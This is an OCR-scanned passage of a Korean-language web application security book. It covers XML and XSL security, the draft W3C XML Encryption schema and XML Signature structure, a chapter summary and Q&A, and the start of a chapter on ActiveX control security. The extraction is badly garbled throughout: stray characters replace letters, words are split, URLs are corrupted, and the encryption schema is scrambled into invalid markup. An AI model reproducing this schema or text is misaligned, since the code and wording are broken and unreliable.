전송하는 모든것을 어슷비슷하게 하는것 이 다. 인터네트와 거래할 때 항상 보안이 발생하 
지만 XML 은 자료에 대하여서는 순조롭고 단순하며 XSL 이 XML 을 변환하는데서는 보 
안을 모든 Web 응용프로그람에서 심중하게 실현하여야 할 필요가 있으며 보안은 독립적 
인 층에서 XML 과 XSL 에 실현될것 이 다. 만일 정보를 보여 줄 예정 이 아니 라면 문서 안 
의 정보를 암호화하는것 보다 오히 려 접 수자에 게 문서 를 배 포하기 전에 수감정 보를 없애 
고 XML 문서 에 로 변환하는것 이 훨씬 더 안정하다. 

XSL 은 배포하기전에 XML 문서를〈〈검열 : censor 》 하는 가장 좋은 방법이다 . XSL 은 
새로운 XML 문서를 포함하는 어떤 대상으로 변환하는데 리용될수 있기때문에 그것을 인 
증과 련결하는데 리용될 때 누구에게 무슨 자료를 보내겠는가를 매우 규칙적으로 조종하 
게 할수 있을것 이 다. XML 에 제마음대 로 추가하는 사용자이 름과 암호요소를 찾는것 은 
정지시켜야 한다. 

XML 문서안에 그것들을 넣 기 앞서 값들을 암호화하는것은 정지해 야 한다. 도구들은 
이 미 인증，승인 , 암호화를 위 하여 리 용할수 있게 존재 한다. 이 개 념 들은 Web 응용프로 
그람에 속하여 있지만 전체적인 구조에서는 높은 준위에 놓인다. 실례에서 보여 준바와 
같이 전자상거래 Web 싸이트는 Web 우에서 차례로 만들어 진 다음 묶어서 배포하려는 
XML 을 통하여 교재가 이루어 지는 순서로 전송된다.배포시에 신용카드를 기 입할 필요 
가 있기때문에 나머지 순서정보를 포함하는 XML 문서에서 현 교재에 신용카드 번호를 
보내 야 한다. 깨 끗한 본문에 서 그 정 보를 로출하는데 불안감을 느끼 면 XML 문서안에 신 
용카드번호를 암호화해야 할것이다. 

비록 시도가 좋다 하더라도 결과가 역시 중요하다. XML 문서는 더이상 자체로 서술 
되 지 않는다.그것도 역 시 신용카드번호를 확장해 야 할 순서 에서 는 암호화알고리 듬이 필 
요하기 때 문에 독립 적 인것 이 다.이 서 술은 XML 이 배 제하여 야 할 일부 문제 들을 다시 설 
명한다. 이 와 갈은 경 우에 대 부분 다른 풀이 가 존재한다.하나는 안정한 순서 로 교재 를 
진행하기 위하여 신용카드번호를 보내지 말아야 한다는것이다. 순서가 배포되였을 때 실 
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지로 교재는 응용프로그람에 배포통보를 보내야 하며 응용프로그람에 신용카드를 기 입하 
여야 한다. 

자료가 위 험할뿐아니 라 코드 역 시 위 험 하다는것 을 잊 지 말아야 한다. XSL 은 완성 
된 프로그람언어 이며 때때 로 그것을 변환하기 위하여 XML 안에 포함된 정보보다 더 가 
치 있다.의뢰 기 측 변환을 수행할 때 HTML 이 의뢰 기 에서 로출시 키 는것과 거의 같은 방 
법으로 XSL 을 로출시킨다. 대부분의 프로그람론리들은 봉사기 에 비밀로 남아 있지만 
XSL 은 보다 큰 응용프로그람거 래 를 구성한다.그것 을 보안하는것 은 XML 보안만큼 중요 
하다. 


제 4 절. XML 의 보안 


HTML 에서와 같이 수자식증명서는 인터네트가 취급하는 임의의 문서를 보관하 
는데서 가장 좋은 방법 이 다.인터네트상에서 보안처 리를 진행하여 야 할 필요가 있을 때 
수자식증명서는 열람기나 응용프로그람을 복잡하게 한다. 증명서들은 인증, 자료통합 
과 인터네트와 같이 보안이 없는 망을 가로지르는 보안통신들을 제공하는 여러가지 공 
개열쇠보안봉사와 응용프로그람에 의하여 리 용된다.개 발자들의 견해 에 의하면 증명서 
를 리용하려 면 web 봉사기 에 그것 을 설 치할것 을 요구하며 그 HTTPs 규약은 전형 적 인 
HTTP 대신 리용된다. 

봉사기 에 서 XML 가 XSL 문서 에 대 한 접 근은 봉사기 에 서 임 의 의 다른 파일 에 서 와 같 
이 파일접근제한을 통해 조종될수 있다.그러나 의뢰기측이 XSL 변환을 수행하고 있다면 
임의의 사람도 그것을 사용할수 있게 변환을 진행하려는 모든 파일들을 인터네트상에 로 
출시킬것 을 요구한다. 이 로출을 줄이 는 한가지 방법 은 봉사기 측 변환을 수행 하는것 이 다. 
모든 XML 과 XSL 문서들은 그것들이 변환되는 봉사기 에서 는 안전하게 상주시킬수 있으 
며 결과 문서를 의뢰기에로 전송할수 있다. 

XML 암호화에서 우리가 보는 결함에 대한 의견이 제기된 다음 W 3 C 가 XML 암호 
화령역 에 대 한 서 술에 서 현재 작업중임 을 알려야 한다.명 세화는 암호화， 복호화처 리 
를 필요로 하는 정보를 구축할 때만이 아니라 암호화된 XML 구축에 중점을 둔 초기 
작업 이 다. 

사용자는 http : // lists . w 3. org / Archlves / Public / xml - encryption /2000 Dec / att 0024 
. A-XML Eneryp 仕 on v 01. html . 에서 설계도를 찾을수 있다. 

1. XML 암호화 

XML 암호명 세 화의 목적 은 XML 을 리용하여 수자적 으로 암호화된 Web 을 서 술하는 
데 있다 . Web 자원은 HTML 문서로부터 GIF 파일이나 지어 XML 문서까지 다 포함할수 있 
다. XML 문서는 시작과 끝 태그를 포함하는 요소에 대한 암호화，시작과 끝태그사이의 
요소안에 있는 내용 그러고 전체 XML 문서를 포함한 요소의 암호에 대한 명세를 제공한 
다. 암호화된 자료는 정보의 복호화 또는 암호화와 관련된 내용을 포함하는 
<12]10여마6(正)값3>를 리용하여 구축된 다.이 정 보는 암호화알고리 듬，암호를 위해 리용되 
는 열쇠 , 외 부자료객 체 에 로의 참조，자료나 암호화된 자료에 로의 참조를 포함한다.도식 
은 그림 8-9 에 보여 준대로 정의된다. 
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<! DOCTYPE schema 

PUBLIC “-// W 3 C//DTD XMLSCHEMA 200010// EN ” 
http :// www . w 3. org /2000/10/ XMLSchema . dtd 
[ 

<!ATTLIST schema xmlns : ds CDATA #FIXED “ http :// www . w 3 .org 
/2000/10/ XMLSchema ” > 

<!ENTITY enc W http ：// www . w 3. org /2000/ ll / temp - xmlenc ,, > 

<!ENTITY enc ‘http://www.w3.Org/2000/ll/xmlenc#’ > 

<! ENTITY dsig ' http : // www . w 3. org /2000/09 / xmldsig# J > 

]> 


〈schema xmlns = a http ：// www . w 3. org /2000/10/ XMLSchema 5 
xmlns ： ds = “技 dsig ;” 

xmlns : xenc = “ & enc ; ” targetNamespace = “ 技 enc ； ” 
version : “0.1” 

elementFormDefault = “ qualified ” > 


〈element name = “ EncryptedData ” > 

< complexType > 

< sequence > 

〈element ref = “ xenc : EncryptedKey ” minOccurs =0 / maxOccurs = 
“ unbounded ” > 


〈element ref = 
〈element ref = 
〈element ref = 
</ sequence > 
〈attribute name = 
〈attribute name = 
</ complexType > 
</ element > 


“ xenc : EncryptionMethod ” minOccurs =0 / > 

“ ds : Keylnfo ” minOccurs =0/> 
“ xenc : CipherText ” /> 

“ Id ” type = “ ID ” use = “ optional ” /> 
“ Type ” type = “ string ” use = “ optional ” /> 


〈element name = “ EncryptedKey ” > 
<complexT ype > 


< sequence > 
〈element ref = 
〈element ref = 
〈element ref = 
<element ref = 
〈/ sequence 〉 


‘ xenc : Encry ptionMethod w minOccurs =0/> 
‘ xenc : ReferenceList ” minOccurs =0/> 

‘ ds : Keylnfo ，’ minOccurs =0 / > 
“ xenc : CipherTextl ” /> 


〈attribute name = “ Id ” type = “ ID ” use = “ optional ” /> 

〈attribute name = “ NameKey ” type = “ string ” use = “ optional ” /> 
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〈element name= “EncryptedKeyReference” > 



〈element ref= “ds:Transforms” minOccurs= “0” /> 
</sequence> 

〈attribute name= “URI” type= “UriReference” /> 



〈element name= “EncryptionMethod” > 

<complexT ype> 

<sequence> 

<any namespace= “##any” minOccurs= “0” maxOccurs= 
“unbounded” /> 



〈attribute name= “Algori 比 im” type= “UriReference” use= 
“required” /> 



<element name= “ReferenceList” > 

<complexT ype> 

〈 sequence 〉 

〈element ref = “ xenc : DataReference ” minOccurs= “ 0 ” maxOccurs= 
“unbounded” /> 

<element ref= “xenc: Key Reference” minOccurs= “0” maxOccurs= 
“unbounded” /> 

</sequence> 



<any namespace= “##any” minOccurs= “0” maxOccurs= 
“unbounded” /> 

</sequence> 

〈attribute name= “URI” type= “uriReference” use= “optional” /> 



</element> 
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<element name = “ KeyReference ” > 

<complexT ype > 

< sequence > 

<any namespace = “## any ” minOccurs = “0” maxOccurs = 
“ unbounded ” > 

</ sequence > 

〈attribute name = “ URI ” type = “ uriReference ” use = “ optional ” /> 
</complexT ype > 

</ element > 


〈element name = “ CipherText ” > 

<complexT ype > 

< choice > 

<element ref = “ xenc : CipherTextl ” /> 

〈element ref = “ xenc : CipherText 2 /> 

</ choice > 

</ complexType 〉 

</ element > 

〈element name = “ CipherTexU ” type = “ ds : CryptoBinary ” > 


〈element name = “ CipherText 2” 

<complexT ype > 

< sequence > 

〈element ref = “ ds : transforms ” minOccurs = “0” /> 
</ sequence > 

</ complexType 〉 

〈attribute ame = “ URI ” type = “ uriReference ” use = “ required ” /> 
</ element > 


</ schema > 


그림 8-9. XML Encryption DTD 


도식은 암호화의 의미를 서술하는데서는 대단히 복잡하다. 다음에 서술한 요소들은 
명세 화에 서 가장 주목할만한 항목들이다. 

EncryptedData (암호화된 자료)요소는 명세의 제일 중요한 부분에 있다.이것은 
XML 문서안에 있는 암호화된 자료나 XML 문서 자체 를 다시 암호화하는데 리 용된다. XML 
문서자체를 다시 암호화하는 경우에 EncryptedData 요소는 자동적으로 문서 뿌리에 놓인 
다. EncdyptedKey (암호화된 열쇠)는 암호화처리를 할 때 리용된 열쇠를 포함하는 선 
택 적 인 요소이 다. EncryptionMethod 는 암호화처 리 를 하는동안에 적 용되 는 알고리 듬을 
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서술하며 그것 역시 선택적인것이다. CipherText (암호문)은 암호화된 자료를 제공하는 
필수적 인 요소이 다.암호화된 열쇠 와 암호화방법 이 선택적 이라는것을 생 각하면 실례 에서 
존재 하지 않는 요소들에 대 한 정보를 수신측에서 알고 있다고 가정 하고 송신자가 암호화 
를 진행 한다. 

암호화와 복호화의 처리는 매우 정확하다. 자료객체는 알고리듬과 열쇠선택을 리용 
하여 암호화된다. 비록 명세 가 임의의 알고리듬을 리 용할수 있게 열린다 하더 라도 매 명 
세의 실현은 호상운영성을 실시할수 있도록 알고리듬의 공통모임을 완성한다.만일 자료 
객체 가 XML 문서안에 있는 요소이라면 그것은 그의 내용에 따라 제거되며 적 당한 
EncryptedData 자료요소와 교체될수 있다. 만일 암호화되 고 있는 자료객체 가 외부자원 
이면 새 문서는 외부자원에 대한 참조를 포함하는 EncryptedData 뿌리정점을 가지고 창 
조된다. 복호화는 아래의 단계 와 반대 로 진행 된다. 즉 리 용하려 는 알고리 듬과 파라메터，열 
쇠 를 포함하는 XML 자원을 해 석한다. 다음 암호화된 자료를 찾고 자료복호화연산을 수 
행한다. 결과는 XML 토막을 표현 하는 UTF-8 부호화 기 호렬 로 될 것 이 다. 이 토막은 다 
음에 주위의 문서에서 리용되는 암호화된 문자로 변환될것 이 다. 자료객체가 외부자원이 
면 암호화되 지 않은 기 호렬 은 응용프로그람에 의해 리 용될 수도 있 다. 

XML 문서를 암호화하는것은 미세한 차이 가 있다. 암호화된 XML 실체들은 잘 형식 
화된 XML 문서들이지만 그것들의 초기 도식과 대조하면 정확한것으로 나타나지 않는다. 
만일 암호화된 XML 문서에서 도식의 정확성을 요구한다면 새로운 도식 이 암호화된 이 
요소들을 설명 하기 위해 창조될것 이 다. 그림 8-10 은 요소를 실제 적 인 암호화하는 전후 
과정 을 설 명하는 XML 실 례 를 포함한다. 


<?xml version ， 1. 0” ?> 

〈 customer 〉 

<f irstname 〉 John〈/f irstname 〉 
<lastname>Doe</lastname> 

<creditcard> 

<number>4111111111111111</number> 
<expmonth>12</expmonth 〉 
<expyear>2000</expyear 〉 
</creditcard> 

〈 /customer 〉 


그림 8-10. 암호화되기전 XML 문서 


동업자에게 이 정보를 보내려고 하는데 신용카드정보를 암호화해야 한다고 하자. 
다음의 암호화처 리 는 XML 암호화명세 에 의하여 진행 된것 이 고 결과는 그림 8-11 에 
보여 준다. 
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<?xml version :” 1. 0” ?> 

〈 customer 〉 

< firstname > John </ firstname > 

< lastname > Doe </ lastname > 

< creditcard > 

< xenc : EncryptedData 

xmlns ： xenc = l http ：// www . w 3. org /2000/ ll / temp - xmlenc , Type = “ Element ” > 
< xenc : CipherText > AbCd - • •. wXYZ </ xenc : CipherText > 

</ xenc : EncryptedData 〉 

</ creditcard > 

</ customer > 


그림 8-11. 암호화된후 XML 문서 


암호화된 정보는 EncryptedData 요소에 의 해 교체되며 EncryptedData 는 암호문안 
에 있다 .EncryptedData 의 실체는 문서의 접수자가 이미 이 정보를 가지고 있다고 가정 
하면서 암호열쇠 나 알고리듬을 고려하는 그 어떤 서술정보도 포함하지 않는다. 여기에 
문서의 위치를 회복하기 위하여 표준적으로 제공한 XLink 와 XPointer 를 고려하여 요소 
준위에서 암호화를 진행하는 리유가 있다 (여기서는 문서준위에 대한 암호화를 제한하도 
록 론의한다고 * 아직도 부분적인것이지만 하나의 문서에 많은 정보량을 공고화하려고 한 
다. 또한 민감한 정 보만을 암호화하는것 은 복호화해 야 할 정 보의 량을 제 한시 킨다.암호화 
와 복호화는 값비 싼 연산들이다. 비 록 암호화가 인터 네 트경 계 XML 을 보안하는데 서 중요 
한 단계 라 할지 라도 자기가 받을 정보가 자기가 생각하는 사람으로부터 오는가를 확인해 
야 할 때가 있다 . W 3 C 역시 수자서명을 조종하는 명세초안작성을 위한 처 리안에 있다. 

2. XML 수자서명 

XML 수자서 명명세 는 초벌 작성 이 아주 안정하다.그의 범위 는 XML 과 XML 서 명 령역 
을 리용하여 수자서 명 을 얼마나 서 술하겠는가를 포함하고 있 다.서 명 은 다중 XML 문서 를 
정 확하게 참조할수 있는 규범적형 태 에 대 하여 론의하면서 발생하였다. 규범화한다는것은 
모두가 일반적으로 리용할수 있는 표준형식에 그것을 맞춘다는것이다.서명이 그것이 표 
식하는 내용에 의존하기때 문에 비규범적 인 문서 에서 만들어 진 서명은 규범적 인 문서 에 
서 만들어 진것과 차이 난다. 이 명세 가 일반적 으로 수자서명을 정의한다는것 을 상기하면 
그것를은 XML 문서 를 흐트리지 않고 정 확하게 주소화할수 있는 모든 수자내 용들과 지 어 
XML 문서의 부분에 대한 참조까지도 포함할수 있다. 

이 명세화를 더 잘 리해하기 위해서는 수자서명 작업이 어떤 도움을 주는가를 잘 알 
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아야 한다. 문서를 수자로 표식하는것은 송신자가 자체로 통보의 하쉬값를 창조하며 요 
구하며 다음 비공개열쇠를 가지고 하쉬값을 암호화할것을 요구한다. 

다만 송신자는 비공개열쇠를 가지고서만 하쉬값를 암호화할수 있으며 따라서 그들의 
공개열쇠를 가지고서는 그것을 암호화할수 없다. 접수자는 암호화된 하쉬값과 통보를 다 
수신한 기초우에서 송신자의 공개열쇠를 리용하여 하쉬값을 복호화할수 있다.접수자는 
또한 통보의 하쉬값을 작성 하기 위 하여 노력 해 야 하며 송신자로부터 수신된 암호화되지 
않은 하쉬값을 새롭게 창조된 하쉬값과 비교한다.만일 두 하쉬값이 같다면 송신자가 하 
쉬값을 정확히 암호화하였을뿐아니라 송신자가 보낸 통보라는것이 증명된다 .XML 명세는 
수자서 명 을 검 증하는데 포함된 정 보를 명 백하게 정 의하는데 응답할수 있 다. 

XML 수자서 명 은 다음의 구조를 가지 는 Signature 요소에 의해 표현되 는데 여 기서 
“?” 는 0 이나 1 의 발생， “+” 는 1 또는 그 이상의 발생， 는 0 또는 그이상의 
발생 을 나탄낸 다. 그림 8-12 는 명세안에 현재 정 의 된것 으로서 수자서 명 의 구조를 보여 
준다. 


〈 Signature 〉 

<SignedInfo> 

(CanonicalizationMethod) 
(SignatureMethod) 
(〈Reference (URI=) ? > 
(Transforms)? 
(DigestMethod) 
(DigestValue) 
〈 /Reference〉)— 
</SignedInfo> 
(SignatureValue) 

(Keylnfo)? 

(Object)* 

〈 /Signature 〉 


그림 8-12. XML 수자서명구조 


Signature 요소는 XML 수자서명명세의 기본기초구조물이다. 

Signature 는 그것 이 표식되 고 있는 국부자료에 의 해 포위되거 나 포위 할수 있으며 
Signature 는 외부자원을 참조할수 있다.이 러한 서명들은 분리된 서명들이다.이것 이 
XML 를 리 용하여 수자서명 을 서술하는 명세이며 무엇 이 표식되 고있는가 하는것을 제 한 
하지 않는다. Signedlnfo 요소는 실제 표식 되고 있는 정보를 의미 한다. 
CanonicalizationMethod 요소는 자료를 규범화하는데 리용할수 있는 알고리듬을 포함하 
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며 많은 사람에 의해 합의된 일반적인 방법으로 자료를 구조화한다. 이와 같은 처리는 
이 부분의 앞에서 언급된 리유가운데서 매우 중요한것 이 다.규범화된 Signedlnfo 를 
SignatureValue 로 전환하는데 리용되는 알고리듬은 SignatureMe 仕 iod 요소에서 명세화 
된다. Reference 요소는 표식에 리용된 자원과 자료를 전처리하는데 리용되는 모든 알고 
리 듬을 식 별한다.이 알고리 듬들은 규범 화，암호화，복호화，압축，회 복, XSLT 변환과 
같은 연산을 포함한다. DigestMetiiod 는 모든 정의된 변환들이 DigestValue 안에 값을 
작성 하도록 한후 자료에 적 용된 알고리 듬이 다. DigestValue 은 표식 자의 열쇠안에 포함된 
자원들을 결합시킨다. SignatureValue 는 수지서명의 실제적값을 포함한다. 

수자서 명 방법 으로 이 구조를 문맥안에 실현 하기 위 하여 정 보표식 은 정 보를 하쉬 하기 
( DigestMethod ) 와 하쉬 결 과 ( DigestValue ) 분석 을 수행 하는데 리 용되 는 알고 리 듬 안에 
있는 Signedlnfo 요소에서 참조한다.공개열쇠는 다음 SignedValue 안에 들어 간다.여기 
에서 서명을 구조화할수 있는 방법은 여러가지이지만 그 해석은 대부분 일의적이다.수자 
서명을 잘 검증할 필요가 있으며 꾸레미를 결정해야 한다. 서명을 확인하기 위하여 련관 
된 DigestMe 仕 iod 를 리 용하여 자료객체 참조를 감독하여 야 한다. 만일 발생 한 감독값이 
지적된 DigestValue 과 일치 한다면 참조는 정 확한것 이 다. 다음 서명을 확인하기 위하여 
SignatureValue 로부터 열쇠정보를 얻고 Signedlnfo 요소에서 그것을 확인하여야 한다. 
암호화에서와 같이 XML 수자서명을 실현하는데 규범화, 암호화, 변환 과 같은 수자서명 
에 펼요한 모든 연산을 수행 하는 알고리 듬을 리 용할수 있 다. 호상응용성 을 높이 기 위하 
여 W 3 C 는 임의의 XML 수자서명실현안에서 진행할수 있는 알고리듬을 사용할것을 권고 
한다. 

(j)m _ 

Y 당신은 봉사기 에 서 XSL 변환을 수행하는 코드를 작성할수 있지 만 XSL 형표에 

로의 참조를 포함하는 XML 페지를 자동적으로 변환하는 XSL ISAPI 확장을 리용할수 
있 다. ISAPI 려 과기 를 리용하는 개 선된 방법은 봉사기 에 서 형표을 자동적 으로 선택 
및 실행하게 하며 형표은 개선된 성능을 위하여 보관되였다가 의뢰기측 처리를 위한 
XML 의 《통과 처리》를 할수 있게 선택된다. XSL ISAPI 확장을 참고 하려면 
http :// msdn . microsoft . com / xml / general / sxlisapifilter.asp 을 열람하시오. 


만일 XML 암호화와 XML 수자서 명명세화가 다 완성 되 면 암호화와 수자서 명 의 리용 
이 증가될것 이 다. 그것들은 매 처 리 들사이 통신을 진행할수 있는 잘 구조화된 방법 을 주 
며 경우에 따라 채 용될것 이 다. 암호화는 인터네트상에서 그것들의 모험적 인 려행을 통하 
여 비 밀정 보가 믿음직한가를 확인하며 수자서 명 은 누가 당신과 통신하고 있는가를 확인 
할것 이 다.아직까지 이러한 명세들은 병 렬로 그것을 사용할 때 특별히 유용하다. 이것들 
은 현실적 으로 문서 가 암호화되 거 나 암호화되지 않은 문서 의 판본을 리용하여 표식 되 고 
암호화되 였는가를 결정하는 방법 은 아니 다. 일 반적 으로 그들은 조금씩 완충시키 면서 시 
간이 지남에 따라 알맞춤한 방법을 찾아 낸다. 


262 





결 론 



XML 은 복잡한 자료를 서술할수도 있고 많은 응용프로그람을 리용할수 있는 자료를 
만드는 강력 한 명세언어 이 다 . XSL 과 함께 리용되는 XML 은 HTML 을 포함하여 많은 형 
태의 자료에 대한 변환을 할수 있게 한다. XML 도식들은 사무련합에서 XML 문서를 변 
환하는데 리용할수 있는 표준적 인것들을 정의한다.이 러한 도구들을 리용하여 보다 더 쉽 
게 유지될수 있고 열람기들의 보다 넓은 다양성을 제공할수도 있으며 인터네트상에서 가 
상적 인 임의의 입구점들을 가지고 통신할수 있는 Web 응용프로그람을 창조할수 있다.그 
러 나 자료의 로출이 많아 지면 그 자료를 보안하기 위한 면밀한 계 획을 요구한다. 

W 3 C 는 암호화와 수자서 명기 술을 서 술하기 위 한 명 세화에 서 믿 음직 하게 작업한다. 
명 세 화의 완료는 그것 들자체안에 서 중요한 보안측면들이 일 치 하는가를 해 석 하는 XML 안 
에서의 결과이 다.이 명세들의 보급이 확정 되 면 인터네 트상에서 실체 들이 서 로 원활하고 
안전하게 호상작용할수 있기 때 문에 이 기 술을 더 많이 리용할것 이 다. 암호화는 자료를 
복호화하는 능력을 가질수 있는 실체들만을 보호하며 수자서명은 말하는 상대는 보호하 
지만 정보의 보안을 담보하지는 못한다. 

인터네트상에서 무엇이든지 로출될수 있는것이 있는가를 늘 깊이 생각해 보아야 한 
다.암호와 알고리듬은 해커되며 따라서 그것 이 암호화되 였다고 해서 안전하다고 생각해 
서 는 안된다.인터 네 트상에서 만들수 있는 정 보가 무엇 인가에 대 한것 은 대 단히 선택 적 이 
다.자기를 보호하기 위하여 보안을 믿기전에 어 떻게 동작하는가를 한번 실행해 보아야 
한다.처리를 간단히 변화시켜 희망하는 보안을 달성할수 있는 다른 방법도 있다. 프로그 
람을 믿 음직하게 작성하는 방법 은 꼭 한가지 만 있 는것 이 아니 다. 예 방기 호들을 가지 고| 
XML 은 인터네 트를 임의 로 사용하거 나 해제하는것 으로써 보안을 할수 있다. 








양， 


조, 

今， 


요 약 


1.XML 의 정의 


- XML 은 자료를 정 의 하고 초기 화하는데서 리용되 는 론리 적 구조를 정의 한다. XML !# 
의 위 력은 그것 이 리해 하기 쉽 고 사용하기 쉬 우며 실현하기 쉽 다는데 있다. 

- XSL 은 XML 과 HTML 을 포함하여 임의의 가상적인 형식으로 변환할수 있다.“ 
XSL 은 대 단히 강력 한 완성된 프로그람작성언어 이며 XML 을 인터 네트상에서 가상 g 
적으로 임의의 실체들과 쉽게 통신할수 있게 한다. 
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2. XML 을 리용한 Web 응용프로그람만들기 

- XML 과 XSL 은 Web 응용프로그람을 창조할 때 공동으로 리 용된다. 이 런 도구들을 
가지고 Web 응용프로그람은 보다 쉽게 보존되며 열람기의 폭 넓은 다양성을 제공 
할수 있다. 

- XML 은 인 터네 트상에 서 서 로 다른 입 구점 들을 가진 통신에 리 용되 지 는 못하지 만 
사용자의 응용프로그람안에서 통신의 의미로서는 리 용된다.이것은 앞으로 확장하 
기 쉬우며 통합하기 가 쉬운 구조를 제공하고 있다. 

3. XML 을 리용에 서 관련 한 위 험 

- 인터네트상에서는 아무것이나 다 위험하다.절대적으로 필요한 자료와 코드만을 제 
공하여야 한다. 

- 정보는 보여 주려는것 이 목적 이 아니 라면 문서 안에서 정보를 암호화하는것보다 차 
라리 수신즉에 문서를 배포하기전에 수감정보를 제외하고 XML 문서를 변환하는것 
이 더 안전하다. 

- XSL 은 완성된 프로그람작성 언어 이 며 XML 안에 포함된 정 보보다도 더 많은 변수 
들을 변환할수 있다. 의뢰기측 변환을 수행할 때 HTML 이 의뢰기 에서 로출시키 
는것과 거의 같은 방법 으로 XSL 을 로출시킨다. 

4. XML 의 보안 

- XML 을 보호하기 위해 이 미 존재 하고 있는 보안방법 을 리용한다. HTTPs 는 
HTML 을 가지 고 진 행한것 과 같은 방법 으로 XML 과 작업한다. 

- 봉사기 에 아무것 이든 남겨 놓고 XSL 변환을 진행하면 의뢰기 에 오직 HTML 이 나 
련관되여 있는 XML 만이 전송된다. 

- XML 암호화 (현재 는 초고작성 형 식 으로) 명 세 의 목적 은 XML 을 리 용하여 수자적 으 
로 암호화된 Web 자원을 서술하는데 있다.명세는 시작과 끝태그를 포함하는 요소 
의 암호화，시작과 끝태그사이의 요소안의 내용, XML 문서전체를 제공한다. 암호 
화된 자료는 < EncryptedData > 요소를 리용하여 구조화된다. 

- XML 수자서명 명세는 초벌작업하는 동안은 안정하다.그의 령역은 XML 과 XML 서 
명 령역을 리용하여 수자서명 을 얼마나 서술하겠는가를 포함한다. 

서명은 다중 XML 문서를 창조할수 있는 명백 하고 규범 적 인 형 태우에서 하쉬함수로 
부터 작성된다. 
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물음과 대답 



이 장의 물음에 대 한 대답은 저자가 준것 이 다. 

문답들은 이 장에서 서술한 개 념들을 리해 하고 실생 활을 통하여 체험 하도록 하는데 f 로 
도움을 줄것 이 다, 독자들의 질 문에 대 한 저 자의 답변을 듣자면 WWW . Syngress . 
att«/ie>hittaa 秘의 (Ask the Anthor ) (저자에게 문의)을 누르시오. 

질문: 나의 XML 구조를 정의할 때 요소와 속성을 언제 리용하는지 어떻게 아는가 ?I 
대 답: 요소와 속성 을 언제 리 용하가를 결정하는 규칙 에 대 하여 말하기 는 어 렵 다.그1 
러나 그것이 존재하는가를 확인하는것보다 다른 속성을 가지고 정당한것인가 P 
를 조금 알수 있다. 대 다수의 부분에 대 해 일부 의심을 가진다면 내 용을 서 술 ！^ 
하는 요소를 리 용하여 야 한다. 


질문: XML 편집기외에 무엇이 더 있는가? 

대답: 있다 .Microsoft 에 의한 XML NotePad 가 있는데 좋지 않다.한가지 리용하기 

좋은것은 XML Spy 이다.사용자대면부를 가지고 배울 문제는 거의 없으나 가;-디 
치를 고려하면 XML 편집기보다는 좋지 않다. 때때 로 일부 낮은 수준에서 리 ' 

용할 때에는 Notepad 도 리용한다. 

\ 

질문: 나의 XML 문서 에 대 한 도식 을 항상 정의해 야 하는가? 

대답: 아니다.항상 도식이 필요한것은 아니다. 도식은 특히 인터네트상에서 XML 문^ 
서를 교환할 때 에 많이 쓰인다.정 확한 문서 작성을 진행할 때 에는 생 각을 깊혈 
이 해 야 하지만 Web 봉사기를 궁지에 빠뜨릴수 있는 매우 폭 넓은 조작이다.胃 
Web 에 서 XML 로출시 에 는 일 반적 으로 도식 이 필 요하지 않으나 XML 을 문서 
화하는 가장 좋은 방법 이 다. 


질문: 나의 응용프로그람을 완전히 열 람기독립으로 만들자면 XSL 을 어떻게 리용해 g 
야 하는가? 

대 답: XSL 은 XML 을 HTML 로 변환하기 위 하여 리 용할수 있는 도구이 다. 여 러 개 _ 

의 형판을 창조할수 있다. 매 개는 특별한 열 람기 에 대 해 알맞게 설계 될수 있_ 

고 의뢰기의 열람기에 의존하며 매 형판을 리용하여 XML 을 변환할수도 있다_ 
이것은 Netscape 와 Internet Explorer 만을 지원하는것이 아니라 전화세포에구 X 혹 
대한 조종으로부터 인터네트가 리용할수 있는 모든 장치들에 대해서도 지원£；’ 

할수 있다. 




제 9 장. 안전한 
ActiveX 인테^트조종체의 구축 


이 장의 기본체계 

판 ActiveX 의 리 용과 관련한 위 험 

、 안전한 ActiveX 조종체를 작성하는 
방법론 

必 ActiveX 조종체의 보안 
傷 결론 
9 요약 

물음과 대답 


266 




소 개 


ActiveX 조종체 는 부분품객 체 모형 (Component Object Model ： COM ) 에 대 한 
Microsoft 의 실현이다. Microsoft 는 Windows 가동환경의 이전 판본들에서 리용되던 객 
체련결과 매몰 (Object Urging and Embedding : OLE ) 모형을 ActiveX 와 바꾸어 설계 
하였다. ActiveX 는 OLE 보다 국부적 인 응용프로그람들에서 더 좋은 성능을 보장하는것 
외에도 모형을 더 확장하고 분산계산 (disWbuted computing : DCOM ) 을 할수 있는 측 
면에서 더 개선되였다. ActiveX 조종체는 대체로 Visual Basic 나 C ++ 로 작성된다. 

ActiveX 조종체들은 Windows 의 가동환경들에서 리용되며 Windows 관련응용프로 
그람들 특히 Web 응용프로그람들과 호상련결되는 새로운 특징들을 더 많이 보충하여 준 
다. ActiveX 조종체들은 HTML 문서에 잘 어울리므로 많은 체계들에 류통될수 있다. 
ActiveX 조종체 들은 반복되 는 과제 들을 수행하는 응용프로그람들에서 리 용될수도 있고 
특별한 기능을 수행 하는 다른 ActiveX 조종체들을 리용할수도 있다. ActiveX 조종체들은 
일단 설치되면 자동적으로 실행되며 다시 설치할 필요가 없다. ActiveX 조종체는 URL 
련결을 통하여 먼 곳으로부터 내리적재 ( download ) 되며 다시 내리적재되지 않아도 해당 
국부 기대상에서 실행될수 있다. 이처 럼 ActiveX 조종체들은 Web 폐지들에 의 하여 활동 
상태로 된다. 

ActiveX 가 포함하는 보안론의점은 ActiveX 조종체들에 고유한 특성과 밀접히 관련 
되 여 있다. ActiveX 조종체 는 제 한된 공간이 나 Java applets 가 리용하는 《 모래통 
( sandbox ) 》같은데서는 실행되지 않으므로 응용프로그람들에 훨씬 많은 위 험성을 준다. 
ActiveX 조종체들은 사용자가 할수 있는 모든 조작들을 진행할수 있기때 문에 자료를 추 
가 혹은 삭제하여 객체의 속성 을 변화시 킬수 있다. Web 프로그람작성 에 Java Script 와 
Java 등이 광범히 리용되 지 만 많은 Web 싸이트들과 Web 응용프로그람들은 아직 도 
ActiveX 조종체들을 사용자들에게 봉사하고 있다. 

ActiveX 가 상당히 잘 알려 진 기술이지만 Web 싸이트들이 손상된 지난 시기의 수 
많은 경험들에 의하면 개발자들이 아직도 자기들의 조종체들을 보안하기 위한 수법들에 
정통하지 못하고 있다는것을 알수 있다. 이 장에서는 수준이 낮은 ActiveX 조종체들(인 
터네 트상에 있는것 들 즉 자유톱게 내 리 적재할수 있는 조종체 들)을 리용할 때 제 기될수 
있는 보안문제들중의 일부를 알아 내고 그것을 막도록 하는데 필요한 내용을 취급한다. 
또한 ActiveX 에 대한 일반적인 오해를 없애고 안전, 보안, ActiveX 조종체들의 기능에 
대 한 가장 좋은 실천방법들을 소개한다. 
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제 1 절. ActiveX 의 리용과 관련한 위험 


